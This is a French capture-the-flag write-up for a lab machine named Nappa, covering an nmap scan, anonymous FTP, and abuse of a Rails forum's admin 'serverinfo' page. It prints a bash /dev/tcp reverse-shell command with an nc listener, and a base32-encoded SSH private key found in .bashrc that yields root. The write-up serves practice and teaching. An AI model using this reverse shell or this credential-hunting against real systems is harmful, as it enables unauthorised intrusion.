# Nappa

`ruby` `enumération` `md5`

* Nom machine : Nappa
* Difficulté : Intermédiaire
* OS : Linux

## Enumération

### NMAP

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-18 14:19 EDT
Nmap scan report for 192.168.233.114
Host is up (0.031s latency).
Not shown: 65530 closed tcp ports (conn-refused)
PORT      STATE SERVICE    VERSION
21/tcp    open  ftp        vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.45.176
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x   14 14       11           4096 Nov 06  2020 forum
3306/tcp  open  mysql?
| fingerprint-strings: 
|   NULL, SIPOptions, TLSSessionReq, TerminalServerCookie: 
|_    Host '192.168.45.176' is not allowed to connect to this MariaDB server
8080/tcp  open  http-proxy
|_http-title: ForumOnRails
| fingerprint-strings: 
|   GetRequest, HTTPOptions: 
|     HTTP/1.0 403 Forbidden
|     Content-Type: text/html; charset=UTF-8
|     Content-Length: 3102
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8" />
|     <title>Action Controller: Exception caught</title>
|     <style>
|     body {
|     background-color: #FAFAFA;
|     color: #333;
|     margin: 0px;
|     body, p, ol, ul, td {
|     font-family: helvetica, verdana, arial, sans-serif;
|     font-size: 13px;
|     line-height: 18px;
|     font-size: 11px;
|     white-space: pre-wrap;
|     pre.box {
|     border: 1px solid #EEE;
|     padding: 10px;
|     margin: 0px;
|     width: 958px;
|     header {
|     color: #F0F0F0;
|     background: #C52F24;
|     padding: 0.5em 1.5em;
|     margin: 0.2em 0;
|     line-height: 1.1em;
|     font-size: 2em;
|     color: #C52F24;
|     line-height: 25px;
|     .details {
|_    bord
28080/tcp open  http       Apache httpd 2.4.46 ((Unix))
|_http-server-header: Apache/2.4.46 (Unix)
|_http-title: html5-goku-en-javascript
| http-methods: 
|_  Potentially risky methods: TRACE
60022/tcp open  ssh        OpenSSH 8.4 (protocol 2.0)
| ssh-hostkey: 
|   3072 76:61:5c:e1:8c:ca:14:e8:7a:63:ba:a3:46:9f:09:b3 (RSA)
|   256 e3:ed:fc:a8:10:d7:8e:b1:7c:de:a2:59:df:19:06:29 (ECDSA)
|_  256 e5:dd:dd:a7:e3:ac:5f:b9:2b:4b:d0:27:e3:3c:c2:43 (ED25519)
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
```

### FTP (21)

```
┌──(kali㉿kali)-[~]
└─$ ftp 192.168.233.114
Connected to 192.168.233.114.
220 (vsFTPd 3.0.3)
Name (192.168.233.114:kali): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||53565|)
150 Here comes the directory listing.
drwxr-xr-x   14 14       11           4096 Nov 06  2020 forum
226 Directory send OK.
ftp> cd forum
250 Directory successfully changed.
ftp> dir
229 Entering Extended Passive Mode (|||8203|)
150 Here comes the directory listing.
-rw-r--r--    1 0        0            1965 Nov 06  2020 Gemfile
-rw-r--r--    1 0        0            5512 Nov 06  2020 Gemfile.lock
-rw-r--r--    1 0        0             374 Nov 06  2020 README.md
-rw-r--r--    1 0        0             227 Nov 06  2020 Rakefile
drwxr-xr-x   11 0        0            4096 Nov 06  2020 app
drwxr-xr-x    2 0        0            4096 Nov 06  2020 bin
drwxr-xr-x    5 0        0            4096 Nov 06  2020 config
-rw-r--r--    1 0        0             130 Nov 06  2020 config.ru
drwxr-xr-x    2 0        0            4096 Nov 06  2020 db
drwxr-xr-x    4 0        0            4096 Nov 06  2020 lib
drwxr-xr-x    2 0        0            4096 Nov 06  2020 log
-rw-r--r--    1 0        0             217 Nov 06  2020 package.json
drwxr-xr-x    2 0        0            4096 Nov 06  2020 public
drwxr-xr-x    2 0        0            4096 Nov 06  2020 storage
drwxr-xr-x   10 0        0            4096 Nov 06  2020 test
drwxr-xr-x    5 0        0            4096 Nov 06  2020 tmp
drwxr-xr-x    2 0        0            4096 Nov 06  2020 vendor
226 Directory send OK.
```

Nous regarderons ces fichiers plus tard, nous allons d'abord nous intéresser aux autres ports d'ouverts.

### HTTP (28080)

<figure><img src="https://2731053407-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1RXsXNh9elYzxZgW8W8f%2Fuploads%2FkfEvvQfg7vueot2iG2DB%2F405b6d132ecb0264b4bb5267d1becf82.png?alt=media&#x26;token=856e53c9-6f22-4c55-8de0-16a9f705d118" alt=""><figcaption></figcaption></figure>

Un jeu ! On lancer un scan dirbuster et on trouve un fichier README.md qui nous renvoit sur le github du jeu.

### HTTP (8080)

Nous avons face à nous un forum porté sur le jeux vidéos et les mangas. Nous pouvons nous créer un compte. Il y a plusieurs utilisateurs.

En tappant sur "n'importe quoi" dans l'url, on tombe sur un nom d'utilisateur

<figure><img src="https://2731053407-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1RXsXNh9elYzxZgW8W8f%2Fuploads%2FPWjnlC1CDAPwdOn1vHiL%2F8c0c0ac941a9b8db771037b3b0b56972.png?alt=media&#x26;token=aa0c7496-cdc6-4a89-8702-5f4a749217d5" alt=""><figcaption></figcaption></figure>

Kathleen:kathleen ne fonctionne pas par ssh sur le port 60022, nous allons essayer de bruteforce, en vain.

Jusque là nous bloquons un peu. Nous sommes revenus sur les fichiers http mais rien trouvé d'intéressants. Nous avons commencé à regarder les codes sources de la page, et on trouve quelque chose de fort utile dans "register" : it0jNc6L/r090Q==

Un mot de passe !

Nous savons que pour se connecter il faut un mail, et celui de l'admin est facilement trouvable, il l'a posté sur le forum.

## Accès initial

De part notre rôle d'admin, nous avons une nouvelle fonction à partir de serverinfo.

La page parâit ne pas faire grand chose de premier abord mais il faut là encore regarder le code source, et modifié une partie commentée.

<figure><img src="https://2731053407-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1RXsXNh9elYzxZgW8W8f%2Fuploads%2FArFuOsrJbMbafu29lcXF%2Fc2740349f210cc6f9b9ce0619cb30918.png?alt=media&#x26;token=7e7d9490-8944-433a-93e2-6a1ba0903376" alt=""><figcaption></figcaption></figure>

Clic droit + edit as HTML

<figure><img src="https://2731053407-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1RXsXNh9elYzxZgW8W8f%2Fuploads%2FR7gG6Z6uR5OWlSrTRcNN%2Fba86ce7bf796a22c22dacf9d502cb61e.png?alt=media&#x26;token=29f846b7-124e-48a8-90d0-7eaa0fd868c2" alt=""><figcaption></figcaption></figure>

Cela ne fonctionne pas, normal nous avons laissé le readonly ! Une fois supprimé :

<figure><img src="https://2731053407-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1RXsXNh9elYzxZgW8W8f%2Fuploads%2FDzTU0cK7Pki7gOj7pnEw%2F9f536f93e865319f3ebd12b2e86a657d.png?alt=media&#x26;token=a9ba349b-873d-4e02-a6d0-054d0b25f61c" alt=""><figcaption></figcaption></figure>

Bingo ! Nous pouvons exécuter des commandes !

`/bin/bash -i >& /dev/tcp/192.168.45.176/1234 0>&1` dans le forumlaire...

```
┌──(kali㉿kali)-[~]
└─$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [192.168.45.176] from (UNKNOWN) [192.168.233.114] 41026
bash: cannot set terminal process group (286): Inappropriate ioctl for device
bash: no job control in this shell
[kathleen@nappa forum]$ 
```

Nous sommes kathleen !

## Elévation des privilèges

Nous allons énumérer les fichier présents dans le repértoires de kathleen et l'un semble particulièrement intéressant et peu habituel.

```
[kathleen@nappa ~]$ cat .bashrc
cat .bashrc
#
# ~/.bashrc
#

# If not running interactively, don't do anything
[[ $- != *i* ]] && return

alias ls='ls --color=auto'
PS1='[\u@\h \W]\$ '


# alias FUWS2LJNIJCUOSKOEBHVARKOKNJUQICQKJEVMQKUIUQEWRKZFUWS2LJNBJRDGQTMMJXE46TBIMYXEWSYNN2GI2SFIFAUCQKBIJDTK5TCNVKUCQKBIFCWE3JZOVNFCQKBIFAUCQKBIFAUEQKBIFBGY52BIFAUCZD2MMZGO5DDNYFE42CBIFAUCQLXIVAUCUKBIFAVSRKBNVVWKV3WOY2HKTKVGRAWW6LYNIVSW6THIZMHE5TDLE3GE6DOGVDDS5DRJ4YTMODJMIYHGYLQKJDWS2RPKZLAUY2QK5WFCVDDJZXDI4CBOFMHG3SEGA3FERRUGFRFMTRWJJSDQ3KGINNFG53WI5QU62KVNZIFA4LYKVXDKTCWMRUDIV3JJ5HFMTSGI5JHCRZLMVFFSCRTPBHG6TDKNBVEIQLGGJKC6VDPJ5FDIZ3HPEYE4RCRGN4DS3KXGJ3UKTSJOAZTMY2HINCWWMKYOZ4DE4DOGJCHQWKOKJZUCQTLJZ3U26CVN53VMOIKNZMTM4DWKVFG23ZRIVGEWUBVGBBUUWDEPJ3TS6CENFMXG2DXMJMXQTLWNA2HQ6TKJZ2W6RDUK5MFC2KOKUZWIOCZJA2DIYSKNVJHITSKPI4EUQSYBJEFU3SEJ5JTSYTUGMZUIWCFMFRU4YSYIRXEESDRIFGDMWLZPFDW4T3PN5VVSWTOIVZTIM3XNN2DETSRNA4W4SDRGUYSWUJWIFCHMK3YMNDVI6JQM4FE42JVMF5HIWDOLF4UUWSXNJJUMNSZNJ4GUZCBPB3GW5ZQKUXUW3TSJJZHA2LUI5MDQNLCOAYHC6D2MRDHI6BUKFEFM3CZIZMXGTKUHEZVKYRPNJSAU2L2KZ2XG5TZGVHHKK3MJNYUSK2INBIXG5KVOYYU62RRLBLDONKHHE2FQTDRIE2FMWBXKZIHCODPGB3UO33QKVCDAMDSM5ZWUQ3GKJHVUU2UMY3G2CTTONNGQWRQORXDIUSWIFEW64KKMFZVAY2JI5DGERJTJY4EK6SKG5TDGVSDJJKUWRCBIFAUMZ2JIVHXO52LIJCHGTKDIFAUCQKCGNHHUYKDGF4WGMQKIVAUCQKHIJAUU4CINRZDOK2MNJDE6QKKJVZVSL3WOM2EEVRWG4ZUOT3NHBNCWUTGMJQWU5DFOZEW2OKMI5YVKUTPN4XTCVSYIQYXAVKFGNCFUK2LBJIUW3BXJJ3TST3LKJSU4VZRKRSWSWDGJJUFC3KVONGHQ3LKN5WEU6T2GZZVMSRLKMYVQWLFIZXWU2SWKRJFE23BNB3G42KXJY4FIYKDGQ2FS53XJAFDS2ZPGA3EI2LFJFEU25CEKEYE4ODGLJWHI42CIRJUWZBLNZBGO2CKJZLDOODEOFNDSZZYK5CFKYSBIFNEIY2EJVLEWTKGMZNDET3RMIYUGWTRJZJAUQ3ZNIVWIQLJKYZWGOCQMNITI3KMJFRUOMSNKRGDIZKNMM2HUYTRIE3VM3BQJFVFMTRTMZDUEK2PI54VU23CKRJWGL2DKFLHQMS2O55GW5SXG5SDSCTXGF4EO3SEK4YXONLXKI3GOQZLNVGXG2DQPJYUWSSHI5NHQTCPJY4EUTDENJKUSZS2PA3HKZDGNNHWOQJXF5ZVQQTLHB2ESRCZOVLXGN2WGUZE22IKK5LG6MDIMVWUSOCZGNIU2YRVJVHEMUDZOA3HSYJWLFZFE3BPJ5LTMZCLONRTGUTCMNSUKQRRLJLUEV2MIRCS6ZBRI4XTIM2ZOMYWE4SMHB2VIYTWBJYFG4LJKBUDIVKMJRWEYOKUN44VMMLFFNJHMZKGPE3GOT2GKYVTCVBWOZFU4TKCOFFVMQJZJZFTITCJO5XDAVDNKVVTGK3QOJGEOWKXMRGFUK2FKYFFCQ2LJNUVO4SEGNBUE2CXPBHHUZSCJV4WKMZZGFIWSVSDM53UCQKBIFGUEQKBIVAUCQKHIFCDKQKYJNRTQVKNHA4E42LDONNGU5LLGNHFUT2BJFTAURTKPIZE2ZTIMFNESY2JJZ3E25CEMRZUIY2XJVTFM4LNIFWC622SJ5IG6VBZMVBEQ4LZGF3DC6JXGNBEQL2VNF4GUMBXLJ4DO6LKIUZDINKCJNYFSCTBJJRVI5DLIVWW4VSLORZFKTS2MJTHS33EHFUEG3KNIUZXS5LSOJGHEY3VKEVXKWSRLA4U4WLNOEZVIWJYPE4HEOCGJFKVQRSLORHXAQLXINHE2WAKIZ4DGNDRJRSU4TTCOBTXM3TMKI3XQM32MY4WIYSCPBDW44LXOJZEQTCEONBDGSLSPFAVKZTMNNHGCWBSJBYHARSOLIZUCTLJJBYSWSCFJNVHA2KPBJYFIYSQIVLTMSLVJ5DFOSCHJNLFUWLEGJLWI2LMGIVVUSLPJY3VU2CVK53GITKLM5UHQSSJJ5KEK6BQKAYFEQLJMY3XM2RRK44DG6CIOZ4FMYZZOUFEC6L2OA2DSZRSKFCW65RLLJDVK3LGIZJFINZYMEZFEMZZJZGGKRDBIFEE2VTOMJXDCUSPPI3XA3SVLFFFMN2FJNJEKVSUHAVS6TTMNN5ES5C2JN4AUUCDM5DHOR3TPI2GCULMMVBVGVDKMFEWSNK2JRUES6DOK52UIUCDNJTWEYSJK5XFQR2IMI4EG22TLA2XUSCTMZ4EO5DLMZJW2OK2N5MGKUZRNRXG4CTSK53EIWLTPA4XM5DRGF3HKVLTINUEETCEOFDHO5LVJJBFQ2DVPFJVI33BJ5IVCTLJG5JXC4TJM5VFCYLPJNMVOWJUMVIXQ3RZKFMDA6SSIFAUCQIKO5DXUL3XJ4YWEOCRGRIEMZZYGU3W2VRXOFNDSV3JKJEHQZLPKFAVKTRXKJRVGZTCM5YHOK2WIJSFK4CLJ5VG4NDSMRYTIULJJZYESZLQPJQUS2ZWBJCFSSDEKYYECVSBONNHU4DVNNDFAWKVMJTHSWCWKZ2CWL2SF5BW2V2IGQVS6Y3BNJKXAV2OMVCDM3BTLJXVESSEK5FDG5ZXOZMFEKZUOBRFCY2WFMFEOSTBO5YVOMKGMM3WMMDVNMVVSODIOB2WKN2YNNZHSS3NGBIUQTCWJJXDINCFOBSUYNSJGQ2XKWSSORHGM4DRORSVSMDLJBKTCQJSOJTHQSKCMY2QUZ2HFN4UGRKKNF3WI4CFJNWES6SNNZSDQWBYN52GIWLHHAXW63LVNRREIZKKGJ3G6WRLN43XUYSFO5AUCQKNIVAXUU2JMNFXCRBXNZUVONSOJN3VGCSYJN2WM43YFNRDKUCJLI3ESVC2JFMGCZ2LOY3FA3RQGZMVE6CDNNHUES2KMR2TKL2DOI3FUN2KJVWUWU2BGNNHKTRYKBYDMVJRPBXWCM2QIM2UUKYKIFFVCSRZIZRW2VCRNM4UY3RYGRVEOU2PNNUGUMCPKBEGMYJVLBQTGRLKJM2XCZDXMFIDE2LXJZSTIU2YPFME6OKUG5XXAQJWJVBG6WCPGRJEWYLDBIXUI33JMZ3TS4L2GFMVU6D2KRUG4MJSF5NHA6DYHBYXE6KOOFWHG6RXGB2WUOBYLBZUKWCBLFXE4MRPJE4S6SDMJNYDQ4BZJBMXG4D2LFZGGRSZJMFFCSKHPB5FQODVPEZG65CTKZXVOVRYI5BDSUJQMNSUYZCDMM3UCQKBIF3VCRCBNFKWUWCGHBWXSQSZOQYUUNDHLJTUE4CZGVSFUVSRG4ZWYYKVGJ3AU2KUJRHGSRSYGRBWESJVHFYDMT2YNFWHQWLNF53HIU3ZJNLGU4SGNRXGYYJXKV2E64DJG5MWY2BTKBLXK6RUGNTUQM3MF5VW4WRTNRTDORDONJFE6CRPKU3HK6BZJJ3GK5CQJV5HAOLROJTDQ22SJQ4FEVCNNJUTETDPGNTWSWLFOZTVINCMOYZUCU2UKFLUKN2EJZQWQQKZO5LDARSBGRYHOQJVMRIUQ4IKKY4VUZTEJ5JFIODRIREFQNCGKNCWEWJWHAYW2RCCGY3G423SIQ2UC32ZJ42FQWKZMQ3DO5TZGJBTGS2PLBCDSOJQGFWGY3KNFNTDEYKHOA4FK2SJBJEHUZSLJVVTQV3HGI3VM22BIFAUCS3DNU4XMZCFIJ2VSWCCO5MVCRJ5BIWS2LJNFVCU4RBAJ5IEKTSTKNECAUCSJFLECVCFEBFUKWJNFUWS2LIK
```

<https://www.dcode.fr/identification-chiffrement>

Il nous indique que c'est du base32. Nous allons donc le déchiffrer

<figure><img src="https://2731053407-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1RXsXNh9elYzxZgW8W8f%2Fuploads%2F8VWgfvoICUA6stvdWXGJ%2F0414bec790e1ad5a1d3bbfa4b83148d0.png?alt=media&#x26;token=f8256f68-1bb6-4d47-8e96-4bb296932308" alt=""><figcaption></figcaption></figure>

Une clef ssh ! Nous allons la copier dans un fichier.

```
┌──(kali㉿kali)-[~/…/rail/ftp/192.168.233.114/forum]
└─$ nano id_rsa                      
                                                          
┌──(kali㉿kali)-[~/…/rail/ftp/192.168.233.114/forum]
└─$ chmod 600 id_rsa
                                                          
┌──(kali㉿kali)-[~/…/rail/ftp/192.168.233.114/forum]
└─$ ssh root@192.168.233.114 -p 60022 -i id_rsa
[root@nappa ~]# whoami
root
```

Nous sommes root !
